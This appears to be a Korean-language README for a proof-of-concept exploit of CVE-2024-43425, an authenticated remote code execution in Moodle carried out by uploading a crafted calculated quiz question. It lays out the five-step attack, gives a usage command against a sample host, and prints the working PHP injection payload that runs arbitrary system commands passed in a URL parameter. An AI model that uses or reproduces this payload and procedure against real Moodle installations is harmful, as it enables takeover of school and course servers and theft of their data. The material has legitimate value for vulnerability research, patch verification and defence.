
CVE-2024-43425에 대한 개념 증명 익스플로잇으로, 악성 계산형 문제 업로드를 통해 Moodle에서 인증된 원격 코드 실행을 시연합니다.
CVE 개요
CVE ID: CVE-2024-43425
설명: Moodle은 인증된 교사 수준 사용자가 퀴즈 편집기 인터페이스를 통해 악성 계산 질문을 업로드할 수 있도록 허용합니다.
영향: 원격 코드 실행 (RCE)
원인: 계산 질문 내 수학적 페이로드의 부적절한 검증으로 인해 데이터세트 마법사를 통한 명령 주입이 발생합니다.
##요구 사항:
##이 스크립트는 5단계 공격을 수행합니다:
| 단계 | 설명 |
|---|---|
| 1️ | 로그인 토큰(logintoken) 가져오기 |
| 2️ | 로그인하고 유효한 MoodleSession 설정 |
| 3️ | 퀴즈 편집 페이지에서 sesskey, ctxid, category 추출 |
| 4️ | RCE 페이로드가 포함된 특수 제작된 계산 질문 업로드 |
| 5️ | 데이터세트 마법사 페이지를 통해 페이로드 트리거 |
##사용 방법
요구 사항:
Python 3
Python 라이브러리: requests, bs4 (BeautifulSoup)
pip3 install requests bs4
python3 exploit_cve_2024_43425.py \
--url http://192.168.2.12/moodle \
--username test \
--password 'Test@123' \
--courseid 1 \
--cmid 1 \
--cmd 'whoami'
##사용된 페이로드:
answer[0] = "(1)->{system($_GET[chr(97)])}"